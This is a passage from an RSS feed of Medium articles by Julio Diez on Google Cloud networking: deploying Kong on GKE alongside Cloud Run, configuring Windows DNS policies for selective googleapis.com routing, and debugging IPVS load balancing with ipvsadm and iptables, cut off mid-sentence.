<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Julio Diez on Medium]]></title>
        <description><![CDATA[Stories by Julio Diez on Medium]]></description>
        <link>https://medium.com/@juliodiez?source=rss-af5b8cbda209------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*tp9or-xx_TSvlfkC</url>
            <title>Stories by Julio Diez on Medium</title>
            <link>https://medium.com/@juliodiez?source=rss-af5b8cbda209------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:10:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@juliodiez/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Combining Cloud Run and GKE for Effortless Management]]></title>
            <link>https://medium.com/google-cloud/combining-cloud-run-and-gke-for-effortless-management-939fdbad57bf?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/939fdbad57bf</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[google-cloud-run]]></category>
            <category><![CDATA[kong]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 18:08:48 GMT</pubDate>
            <atom:updated>2024-06-11T02:24:59.836Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QPNOWXle3v9R_p95" /><figcaption>Photo by <a href="https://unsplash.com/@growtika?utm_source=medium&amp;utm_medium=referral">Growtika</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>When it comes to orchestrating containerized applications, Google Kubernetes Engine (GKE) and Cloud Run are two powerful offerings from Google Cloud that cater to different needs and scenarios. Both platforms simplify the deployment and management of containerized workloads, yet each shines in distinct ways, making the decision of which to use a matter of matching the right tool to the right job.</p><h4><strong>Google Kubernetes Engine: The Powerhouse for Complex Workloads</strong></h4><p>GKE is a managed Kubernetes service that delivers all the benefits of Kubernetes without the operational overhead. It is particularly advantageous for organizations looking to run complex, large-scale applications. With GKE, you can harness the full power of Kubernetes, leveraging its robust features for automation, scaling, and self-healing. This makes it ideal for workloads that demand high availability, intricate networking, and fine-grained control over resource management.</p><h4><strong>Cloud Run: The Simplicity of Serverless for Microservices</strong></h4><p>For use cases that involve event-driven workloads, particularly those with unpredictable traffic patterns, Cloud Run is an excellent choice. Consider an e-commerce site with a surge in traffic during holiday sales, or a data processing job that runs at irregular intervals. In these scenarios, Cloud Run’s ability to scale instantly in response to demand ensures performance remains steady without over-provisioning resources.</p><p>For customers who want to avoid the burden of infrastructure management or are just getting started with containers, Cloud Run offers a streamlined solution. Its serverless architecture means you don’t need to worry about the complexities of managing servers or clusters. This allows you to focus on developing your application. You deploy your container, and Cloud Run manages everything else, making it an ideal option for teams looking to accelerate their development cycles and reduce operational costs. This includes auto-scaling your applications up or down to zero based on demand, ensuring you only pay for what you use.</p><h3><strong>The Best of Both Worlds: GKE and Cloud Run with Kong API Gateway</strong></h3><p>In this article, I will demonstrate how to harness the combined power of GKE and Cloud Run, using Kong API Gateway as the central management tool. By deploying Kong on GKE, you gain access to advanced API management features such as traffic control, security enforcement, and real-time monitoring. This setup allows you to take full advantage of GKE’s robust container orchestration alongside Cloud Run’s effortless scaling for stateless applications, providing a versatile and cost-effective solution for managing your workloads.</p><p>The <a href="https://github.com/GoogleCloudPlatform/cloud-foundation-fabric/tree/master">Cloud Foundation Fabric</a> repository contains a Terraform <a href="https://github.com/GoogleCloudPlatform/cloud-foundation-fabric/tree/master/blueprints/gke/patterns/kong-cloudrun">blueprint</a> to deploy all the components discussed in this article. While most of the code is in Terraform, the Kong configuration is conveniently in YAML format allowing for flexible customization.</p><pre># values-cp.yaml<br># Do not use Kong Ingress Controller<br>ingressController:<br> enabled: false<br>  <br>image:<br> repository: kong/kong-gateway<br> tag: &quot;3.6.1.4&quot;<br>  <br># Mount the secret created earlier<br>secretVolumes:<br> - kong-cluster-cert<br>...</pre><h4><strong>Deploying Kong API Gateway on GKE</strong></h4><p>The image below shows the architectural overview of what we are going to deploy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*UdTkEOMEKrVRYUJlI3u6oA.png" /></figure><p>First, we deploy the Kong API Gateway following the instructions in the <a href="https://docs.konghq.com/gateway/latest/install/kubernetes/proxy/">official documentation</a>. The recommendation is to configure Kong Gateway to use separate control plane and data plane deployments, called <em>hybrid mode</em>. In this mode, Kong Gateway employs mutual TLS (mTLS) to secure the control plane/data plane communication.This is achieved by generating and sharing a certificate between both components.</p><p>Once Kong is up and running on GKE, you can integrate it with various workloads deployed within the same cluster. This integration streamlines your API management, allowing you to enforce consistent policies and monitor traffic across all services. Whether you are running microservices, databases, or other applications, Kong on GKE ensures seamless communication and high availability.</p><h4><strong>Leveraging Cloud Run for Dynamic Workloads</strong></h4><p>In addition to deploying workloads on GKE, Cloud Run offers a unique advantage for handling dynamic and spiky workloads. Cloud Run automatically scales your stateless containers up and down, providing a serverless environment that only charges for active request handling. This makes it perfect for applications with unpredictable traffic patterns, such as user authentication services or event-driven APIs.</p><p>To set up this architecture, an internal Application Load Balancer (ALB) is used as a front-end for Cloud Run while Cloud DNS is used to customize the HTTPS endpoint where Kong can route requests. The internal ALB is configured with a certificate created using the <a href="https://cloud.google.com/certificate-authority-service/docs/ca-service-overview">Google Cloud Certificate Authority Service</a>. A root CA certificate is generated, and a certificate signed by the CA is provisioned in the ALB. Subsequently, the root CA certificate is provisioned in Kong to ensure secure communication with the ALB and Cloud Run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*etpcfZ0YdoZ-RjzgpUfh0Q.png" /></figure><p>Finally, you need to configure Kong HTTP routing via its <em>Admin API</em> to point to the internal ALB and Cloud Run. All of this provisioning and configuration is automatically done in the Terraform blueprint to ease deployment and testing. For a production-ready installation please refer to the <a href="https://docs.konghq.com/gateway/latest/">official Kong Gateway documentation</a>.</p><h3>Conclusion</h3><p>The beauty of this setup lies in the seamless integration of Cloud Run with Kong API Gateway. Kong can route requests to both GKE-based services and those running on Cloud Run, creating a unified API management layer. This hybrid approach allows you to optimize resource utilization and cost-effectiveness, ensuring that each workload is deployed in the most suitable environment. By centralizing API management with Kong, you maintain control and visibility over all your services, regardless of where they are running. Whether you’re dealing with consistent high-traffic applications or services with variable demand, this setup provides the flexibility and reliability needed to support modern application requirements.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=939fdbad57bf" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/combining-cloud-run-and-gke-for-effortless-management-939fdbad57bf">Combining Cloud Run and GKE for Effortless Management</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google APIs from Windows DNS Server]]></title>
            <link>https://medium.com/google-cloud/google-apis-from-windows-dns-server-874aa2cc1a35?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/874aa2cc1a35</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[infrastructure]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Wed, 17 Apr 2024 19:06:35 GMT</pubDate>
            <atom:updated>2024-04-18T14:19:11.399Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*j8DUdJ5W5vY70kgVGcU5GA.png" /></figure><h3>Background</h3><p>Google Cloud customers often need to route particular Google-bound traffic like <em>storage.googleapis.com</em> from their on-premises network to their private Google Cloud Platform (GCP) connectivity — VPN or interconnect — rather than over the Internet, for efficiency, security, or compliance reasons. For example, this is necessary for cases like when a <a href="https://cloud.google.com/vpc-service-controls/docs/overview">VPC SC perimeter</a> surrounds Cloud Storage buckets since external requests are blocked, allowing only those from within the perimeter. If the on-premises network is part of the VPC SC perimeter, client devices there will need to forward their requests through the private connectivity to GCP to access the bucket.</p><p>In certain situations, redirecting all *.googleapis.com traffic from the on-premises network to GCP may not be feasible, and a more granular approach is required. This is particularly relevant when only a specific subset of clients should be directed to GCP projects within the company, while other clients accessing general Google APIs such as Search, Maps, or even Cloud Storage should retain access to public internet endpoints, with all clients sharing a single DNS environment. This article outlines how to configure GCP and Windows DNS Server to achieve this selective redirection.</p><h3>Solution</h3><p>The solution presented will handle a more complex scenario where various on-premises clients are linked to different GCP environments, <em>production</em> and <em>development</em>, in addition to regular clients accessing Google APIs through public endpoints. The solution assumes that clients can be identified based on their IP subnets, primarily those connecting to GCP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*-sRE3m2lByAAz4DR5E9KvQ.png" /></figure><p>Due to the need to consider both DNS records and client-specific fields when responding to DNS queries, modifications to DNS results are necessary. This can be achieved using DNS Response Policies (<a href="https://www.ietf.org/archive/id/draft-vixie-dnsop-dns-rpz-00.txt">RPZ</a>), or in our case <a href="https://learn.microsoft.com/en-us/windows-server/networking/dns/deploy/dns-policies-overview">DNS Policies</a> that Windows Server 2016 introduced to provide similar capabilities to RPZ. DNS Policies provide enhanced flexibility and capabilities, such as Geo-location Traffic Management (ensuring clients receive the IP address of the geographically closest resource) and Split Brain DNS (tailoring responses based on the client’s network location).</p><h4>GCP-only clients</h4><p>To ensure that all traffic to Google APIs from the on-premises network is forwarded to GCP, one solution is for the on-premises network to become authoritative for the googleapis.com zone. With Windows DNS Policies, you can create your own records for your authoritative zones and implement the capabilities mentioned earlier through new objects:</p><ul><li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/add-dnsserverzonescope?view=windowsserver2022-ps">Zone Scope</a>: a zone comprises one default zone and can have various zone scopes. Each scope may contain an identical set of DNS records, but with different IP addresses assigned to each scope.</li><li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/add-dnsserverqueryresolutionpolicy?view=windowsserver2022-ps">Query Resolution Policy</a>: a policy applied to zone scopes that establishes procedures for resolving DNS queries using predefined criteria. These criteria could include the client’s subnet or the type of record being queried.</li><li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/add-dnsserverclientsubnet?view=windowsserver2022-ps">Client Subnet</a>: an object representing subnets corresponding to clients. You can utilize client subnet objects in query resolution policies to match incoming queries to specific clients.</li></ul><p>To access Google APIs supported by VPC Service Controls, you must set up either <a href="https://cloud.google.com/vpc/docs/configure-private-google-access-hybrid">Private Google Access (PGA) for on-premises</a> or <a href="https://cloud.google.com/vpc/docs/about-accessing-google-apis-endpoints">Private Service Connect (PSC)</a>. With PGA, you redirect traffic to the special domain names <em>private.googleapis.com</em> or <em>restricted.googleapis.com</em>. The <em>restricted range</em>, 199.36.153.4/30, allows access to APIs and services that are supported by VPC Service Controls and blocks access to those services that are not supported. We will use this range in our configuration.</p><p>Within the googleapis.com zone scope, the on-premises DNS server should set up a CNAME record from *.googleapis.com to restricted.googleapis.com. Additionally, an A record should be created, pointing to the IP addresses within the restricted range. Further steps, such as configuring routing from the on-premises network to the restricted range in GCP, are necessary. Refer to the official documentation for more details.</p><p>In our final approach, we plan to use the newly introduced DNS Policy objects. However, this configuration, in its current form, will not work for regular clients that do not require to be forwarded to GCP. Any client not recognized as being in a particular subnet that requires redirection won’t match any resolution policy and will continue with the usual resolution procedure. As a result, they’ll get a reply with the records from the regular authoritative googleapis.com zone. Of course companies can’t be authoritative for Google APIs and their public endpoints.</p><h4>GCP and non-GCP clients</h4><p>In situations where both GCP and non-GCP or regular clients reside within the on-premises network, it is not feasible for the on-premises infrastructure to serve as the authoritative source for the googleapis.com zone. As a result, any queries made by these clients need to be forwarded to external resolvers. However, it’s important to note that using a resolver for Google APIs will only provide access to public endpoints.</p><p>Fortunately, Windows DNS Policies provide an object that we can use to resolve this issue:</p><ul><li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/add-dnsserverrecursionscope?view=windowsserver2022-ps">Recursion Scope</a>: similar to zone scopes, DNS recursion can have a default behavior as well as <em>scopes</em> where recursion or resolution behaves differently by directing to a unique set of forwarders.</li></ul><p>By configuring query resolution policies to selectively choose recursion scopes based on criteria such as the client subnet, it becomes possible to resolve the same domains to different IP addresses. This approach provides a flexible solution for managing DNS resolution in complex network environments.</p><h4>High-level diagram</h4><p>The DNS process we’ll implement is outlined in the high-level diagram below. Three types of on-premises clients are used:</p><ul><li>Non-GCP or regular clients, which should continue to access Google APIs and the Internet as usual. They should not be affected by any modifications made to the DNS server.</li><li>GCP clients in a production environment, where Google APIs resolution should be forwarded to Cloud DNS in a production VPC typically through an Interconnect connection.</li><li>GCP clients in a development environment, where Google APIs resolution should be forwarded to Cloud DNS in a development VPC, usually through an Interconnect or VPN connection.</li></ul><p>Each client sends a DNS query for a given domain, such as storage.googleapis.com. Depending on the type of client, the response to the query may vary because different clients use different resolvers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*-MVssu9jEQuBtR3N" /></figure><p>Cloud DNS will act as the resolver for GCP clients. We will configure private zones to CNAME *googleapis.com to restricted.googleapis.com with A records from the 199.36.153.4/30 range. To accommodate both the production and development environments, the restricted range will be split into two, with each environment receiving two IPs. This setup allows traffic routing from the on-premises network to the appropriate physical connectivity. Additionally, inbound server policies will be created in the production and development VPC networks, and the inbound forwarder IPs will be identified. Refer to the official <a href="https://cloud.google.com/vpc/docs/configure-private-google-access-hybrid">Google Cloud documentation</a> for instructions on configuring the GCP side.</p><p>As shown in the picture, queries are matched based on the client subnet <strong>and</strong> the specified domain. If we didn’t include the domain of the request as a criterion, all GCP client queries for non-authoritative zones would be forwarded to Cloud DNS. While this setup could work, customers typically prefer to redirect only DNS GCP traffic to GCP.</p><h4>Configuration of Windows DNS Server</h4><p>Following is the configuration of the on-premises DNS server. It uses the DNS Policy objects described previously. To create these objects, run PowerShell as an administrator on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*N6cPF_ZFXhFoif-GuHbseQ.png" /></figure><ul><li>Create ClientSubnets objects in the DNS server for production and development clients, to identify DNS queries from each other and from the rest of clients. Let’s assume the range 10.100.0.0/24 is used for production and 10.200.0.0/24 for development. Multiple IP ranges can be specified if necessary. Notably, ClientSubnets objects do not automatically replicate across DNS servers. Therefore, if there are multiple servers, they must be explicitly added to each server.</li></ul><pre>&gt; $dcs = (Get-ADDomainController -Filter *).Name<br>&gt; foreach ($dc in $dcs) {<br> Add-DnsServerClientSubnet -Name &quot;Prod&quot; -IPv4Subnet &quot;10.100.0.0/24&quot; -ComputerName $dc<br> Add-DnsServerClientSubnet -Name &quot;Dev&quot; -IPv4Subnet &quot;10.200.0.0/24&quot; -ComputerName $dc<br>}</pre><ul><li>Create recursion scopes for both production and development to send traffic to Cloud DNS. Utilize the inbound forwarder IP addresses (inbound server policies) specific to each environment. Let’s assume those forwarder IPs are 172.20.0.2 (prod) and 172.30.0.2 (dev).</li></ul><pre>&gt; Add-DnsServerRecursionScope -Name &quot;CloudDNSProd&quot; -Forwarder &quot;172.20.0.2&quot; -EnableRecursion $true<br>&gt; Add-DnsServerRecursionScope -Name &quot;CloudDNSDev&quot; -Forwarder &quot;172.30.0.2&quot; -EnableRecursion $true</pre><ul><li>Now comes a not well-documented aspect. The initial query for googleapis.com from a client populates the global cache of the Windows DNS server, <em>corrupting</em> the cache for subsequent clients. To prevent this issue, it’s necessary to <em>shard</em> or <em>partition</em> the DNS server’s global cache before implementing any query resolution policy for the recursion scopes. The partitioning process is based on creating zone scopes, as the cache is treated as an additional zone.<br>Create zone scopes for the DNS server cache, which will serve as cache shards dedicated to clients meeting the query resolution policies that we will create later.</li></ul><pre>&gt; Add-DnsServerZoneScope -ZoneName &quot;..cache&quot; -Name &quot;CloudDNSProdCache&quot;<br>&gt; Add-DnsServerZoneScope -ZoneName &quot;..cache&quot; -Name &quot;CloudDNSDevCache&quot;</pre><ul><li>Bind the cache zone scopes to query resolution policies for them to take effect. The policies will use FQDN and client subnet criteria to map to the zone scopes. As client subnets, query resolution policy objects do not replicate across DNS servers.</li></ul><pre>&gt; $dcs = (Get-ADDomainController -Filter *).Name<br>&gt; foreach ($dc in $dcs) {<br> Add-DnsServerQueryResolutionPolicy -Name &quot;CloudDNSProdCache&quot; -Fqdn &quot;EQ,*.googleapis.com&quot; -ClientSubnet &quot;EQ,Prod&quot; -Action ALLOW -ZoneScope &quot;CloudDNSProdCache&quot; -ZoneName &quot;..cache&quot; -ComputerName $dc<br> Add-DnsServerQueryResolutionPolicy -Name &quot;CloudDNSDevCache&quot; -Fqdn &quot;EQ,*.googleapis.com&quot; -ClientSubnet &quot;EQ,Dev&quot; -Action ALLOW -ZoneScope &quot;CloudDNSDevCache&quot; -ZoneName &quot;..cache&quot; -ComputerName $dc<br> }</pre><ul><li>Create query resolution policies with the same criteria to map to the recursion scopes created previously.</li></ul><pre>&gt; $dcs = (Get-ADDomainController -Filter *).Name<br>&gt; foreach ($dc in $dcs) {<br> Add-DnsServerQueryResolutionPolicy -Name &quot;CloudDNSProd&quot; -Fqdn &quot;EQ,*.googleapis.com&quot; -ClientSubnet &quot;EQ,Prod&quot; -Action ALLOW -ApplyOnRecursion -RecursionScope &quot;CloudDNSProd&quot; -ComputerName $dc<br> Add-DnsServerQueryResolutionPolicy -Name &quot;CloudDNSDev&quot; -Fqdn &quot;EQ,*.googleapis.com&quot; -ClientSubnet &quot;EQ,Dev&quot; -Action ALLOW -ApplyOnRecursion -RecursionScope &quot;CloudDNSDev&quot; -ComputerName $dc<br> }</pre><ul><li>To troubleshoot DNS issues, consider taking these additional steps:<br>- Clear the DNS caches. This may temporarily affect DNS performance, but it can resolve some issues.<br>- Inspect the caches to identify any irregularities or errors.</li></ul><pre>&gt; Clear-DnsServerCache<br>&gt; Clear-DnsServerCache -CacheScope &quot;CloudDNSProdCache&quot;<br>&gt; Clear-DnsServerCache -CacheScope &quot;CloudDNSDevCache&quot;<br>&gt; Show-DnsServerCache<br>&gt; Show-DnsServerCache -CacheScope &quot;CloudDNSProdCache&quot;<br>&gt; Show-DnsServerCache -CacheScope &quot;CloudDNSDevCache&quot;</pre><p>After applying these changes, different types of on-premises clients should now resolve *.googleapis.com to different IP addresses.</p><h3>Final notes</h3><ul><li>The shell commands show how to configure redirection for *.googleapis.com. However, this is usually not the only domain required for GCP services to work from on-premises networks. Domains such as accounts.google.com or gcr.io are also typically needed. You would need to add corresponding Add-DnsServerQueryResolutionPolicy commands with those FQDNs. A list of possible domains can be found in the <a href="https://cloud.google.com/vpc/docs/configure-private-google-access-hybrid#config-choose-domain">documentation</a>.</li><li>Although it is possible to redirect only some services like Google Cloud Storage or BigQuery specifying domains like storage.googleapis.com, using *.googleapis.com makes the DNS configuration simpler and you can still control access to GCP services based on IAM roles (as you should).</li><li>There is no GUI to configure DNS Policies, only PowerShell. However, if you already automate your IT processes with PowerShell this approach can become an advantage, as it allows for easier integration and management of DNS settings.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=874aa2cc1a35" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/google-apis-from-windows-dns-server-874aa2cc1a35">Google APIs from Windows DNS Server</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Load balancing with IPVS]]></title>
            <link>https://medium.com/google-cloud/load-balancing-with-ipvs-1c0a48476c4d?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c0a48476c4d</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[load-balancing]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Tue, 08 Nov 2022 19:10:11 GMT</pubDate>
            <atom:updated>2022-11-11T18:58:27.426Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*bFQBByA8sfjlYMEFuD8Vvw.png" /></figure><p>IP Virtual Server (IPVS) implements L4 Load Balancing directly inside the Linux kernel. I needed to make it work in GCP, thinking <em>this can&#39;t be that difficult</em>. And I got some headaches, together with a lot of fun :)</p><h3>When life is easy</h3><p>A Cloud environment like GCP is great. Initially it is a bit confusing because networking has other <em>rules</em>, but then you start to love all the abstractions it provides. For instance, implementing L4 Load Balancing is done through one of those services you can configure and mostly forget, it just works™.</p><p>Well, true, it may not always be that easy. But there are few occasions when you need to debug by going deeper than just reviewing your configuration. Sometimes I need to resort to <em>tcpdump</em> (that I really enjoy), and this is how this story started. But I didn&#39;t imagine how it would end up.</p><p>The task at hand, running a L4 Load Balancer. In a cloud environment there are times when you don’t get exactly the service you need. In this case the why is not that important, I will explain it later, but the thing is that I (my customer) decided to use IPVS. It is part of the <a href="http://www.linuxvirtualserver.org/">Linux Virtual Server</a> project, where it runs in a server host as a transport-layer load balancer offering a single VIP to access services of real servers. If you don&#39;t know, IPVS is used by the kube-proxy component of Kubernetes.</p><p>This can’t be that difficult…</p><h3>Give it a try</h3><p>So I went for it. I deployed a very simple setup with three VMs, I like to start simple when testing. A client machine, the virtual server for IPVS, and a <em>real server</em> (as LVS calls them). Yes, one real server only, not difficult to load balance…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*tMeaQ0eXyejaJp_7EJHfgQ.png" /></figure><p>The virtual server had the IP 10.1.0.6, the VIP for the service that I configured. The real server ran a simple python-based HTTP server listening to port 8085 and giving a <em>Hello!</em> message. I usually choose ports like 8085 because if you need to do a packet capture it will not be mixed with other traffic in typical ports like 80 or 443. To test it, the client should be able to reach it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NNKfH5goYz65TK_hlOzmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cFJeggBG_V7Nfp2RJdr0pg.png" /></figure><p>Then I configured IPVS in the virtual server. First I installed ipvsadm, the tool to configure IPVS in the kernel, and with it I set up a new IPVS service pointing to the real server.</p><pre>sudo apt-get install ipvsadm<br>sudo ipvsadm -A -t 10.1.0.6:8085<br>sudo ipvsadm -a -t 10.1.0.6:8085 -r 10.1.0.50 -m</pre><p>IPVS supports TCP and UDP, three packet-forwarding methods (DSR, ipip, or masquerading), multiple load balancing or scheduling algorithms, and many other options. Besides using TCP for the test (-t), I was only interested in doing masquerading/NAT (-m) because the other forwarding methods, specially DSR, are less suitable for running in GCP and for my purposes. And for the rest of options I left the defaults. You can find more information in the <a href="https://linux.die.net/man/8/ipvsadm">IPVS man page</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvdK4BLVQm8aU4aDutheVQ.png" /></figure><p>Pretty simple. Time to test if I could reach the real server from the client through the VIP of the virtual server…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezU1_4PlNl1qcKNvShcI6g.png" /></figure><p><strong><em>Fail!</em></strong></p><p>After two seconds not seeing a response you know something is wrong. Well, no worries, time to use tcpdump.</p><h3>What is masquerading really</h3><p>Dumping packets should tell me what is going on, I thought. Running tcpdump in the three VMs should give you the full story, but I’ll just show you the capture from the virtual server since it was in the middle of the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cOuZBpz3EkNXsP_Js771eg.png" /></figure><p>The virtual server received a packet from 10.1.0.3, the client, destined to 10.1.0.6, the VIP; look also the ports. Then IPVS kicked off and transformed the packet to reach the real server 10.1.0.50 and sent it out on the wire. But hey, what’s that? the source IP address, it is still 10.1.0.3!</p><p>I thought I had configured <em>masquerading</em>. For those familiar with iptables, Masquerade is a target similar to SNAT, where the source IP is translated to that of the host forwarding the packet, the virtual server in this case.</p><p>Well, it turns out that IPVS doesn’t work that way. IPVS does DNAT, only, which is useful in a model called two-arm load balancing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*s8wNZLdDSvljaoV5CiYUwA.png" /></figure><p>With a bit of imagination you can see why it is called two-arm. The load balancer acts as a router with one arm on each network and all the traffic between these networks goes through the load balancer.</p><p>Very useful model when you can use it. Avoiding SNAT you preserve the client IP and avoid possible issues with port allocation and exhaustion. But not what I needed, and what I was expecting! IPVS says it forwards using masquerading, for me this is misleading.</p><p>So now what?</p><h3>Return to the roots</h3><p>Here is where I started to go deeper and deeper, resorting first to iptables and thinking that would be enough. Long time since I worked in all these topics…</p><h4>iptables rules</h4><p>IPVS doesn’t do SNAT so I thought on doing it <em>by hand</em> via iptables. I could use as target either SNAT or MASQUERADE (MAS-QUE-RA-DE, you know?).</p><pre>sudo iptables -t nat -A POSTROUTING -s 10.1.0.3 -j MASQUERADE</pre><p>A real scenario would need to consider not just the client IP but the whole range of clients somehow, or the destinations, but for my test was enough. Then sent a request from the client via curl and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FosbrFoDvH4UprRZDh4zvg.png" /></figure><p>Whaaat? Nothing happened, as if there were no SNAT rule at all! Really, wasn’t the rule hit?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJyJXN4mJcyQ0m4f50XYYA.png" /></figure><p>Nope :( <br>Here I was really puzzled. I mean, this was a clean environment, no other iptables rules in the system that could bypass this one, and I tried setting rules in other tables and chains to trace packets as they went in and out without observing anything special. Except this rule not being hit.</p><p>I googled around and found there is an iptables match for IPVS. I don’t like to leave things without understanding them, but I thought it would be a good idea to test this instead.</p><pre>sudo iptables -t nat -A POSTROUTING -m ipvs --vaddr 10.1.0.6 -j MASQUERADE</pre><p>Guess what? Same result, or same no-result. The rule was not hit either. However, reading a bit more I found that “CONFIG_IP_VS_NFCT” should be enabled and sysctl var “conntrack” set to 1, whatever that meant.</p><h4>Kernel sources and modules</h4><p>If you have played with compiling the Linux kernel you will have recognized the CONFIG format. Reading the sources I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Koh1w_TLuK1Re6v0kw18lA.png" /><figcaption>Kernel source file <a href="https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/ipvs/Kconfig#L325">net/netfilter/ipvs/Kconfig</a></figcaption></figure><p>Oh my God, this is it! <a href="https://www.netfilter.org/">Netfilter</a> is the kernel framework for packet filtering that iptables, connection tracking, IPVS and other components rely on. And it seems that without explicitly enabling it IPVS didn’t allow to access this filtering from user space. So I checked it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6vTJTIB_PO18SYZAKda3w.png" /></figure><p>Weird, it was enabled and apparently built into the kernel. I dug a bit more:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nvJmqHE1_92SWfBJ90f7g.png" /><figcaption>Kernel source file <a href="https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/ipvs/Makefile#L14"><em>net/netfilter/ipvs/Makefile</em></a></figcaption></figure><p>Oh, I see. What that means is that the code for IP_VS_NFCT is part of the kernel object IP_VS…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*px7qrplmxNeuWB8OVxwLZg.png" /></figure><p>…that is loaded as a module, not a built-in feature…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hl2bHpd_TEt3uLzGuq1GxQ.png" /></figure><p>…but that was also loaded in the running kernel. And if you look carefully you can also see the module xt_ipvs that allows to match IPVS connection properties of a packet configured from user space through iptables, no need to use modprobe. So it seems everything was in place.</p><p>But wait, there was one more element, the sysctl var “conntrack”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqrERW1RcwDvyL91rgA7GA.png" /></figure><p>There it was, under <em>net.ipv4.vs</em> entry, and it was not set! I was lucky because that entry is present only if ipvsadm service is started, though I saw it in the kernel sources too and you also have the kernel documentation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*as9wqXxOO_6Bftan44FwRA.png" /><figcaption><a href="https://www.kernel.org/doc/html/v5.10/networking/ipvs-sysctl.html">Linux networking documentation for ipvs-sysctl</a></figcaption></figure><p>As it states, iptables wouldn’t handle IPVS connections without conntrack set! So I set it, crossed fingers and launched curl again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTRS9kCFNKi5dy9f_36aCQ.png" /></figure><p>Great, it worked! Hey, not so fast. The SNAT did its job, you can see a TCP SYN packet with the source IP 10.1.0.3 translated to the virtual server IP 10.1.0.6. And the real server sent the corresponding SYN-ACK to the virtual server. However communication got stuck in that phase, no ACK reply from the client. Indeed, it seemed the SYN-ACK was not NAT translated back, how come?</p><p>NAT implementation is stateful, if a NATed packet goes out and comes back it is processed to undo the NATing. We can check this via the connection tracking system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOB2QO6nf0ibers-S-mQlg.png" /></figure><p>OK, so the conntrack system did process the SYN-ACK from 10.1.0.50 to 10.1.0.6 (it changed the connection to SYN_RECV state). So then, what happened to the packet? It was dropped at some 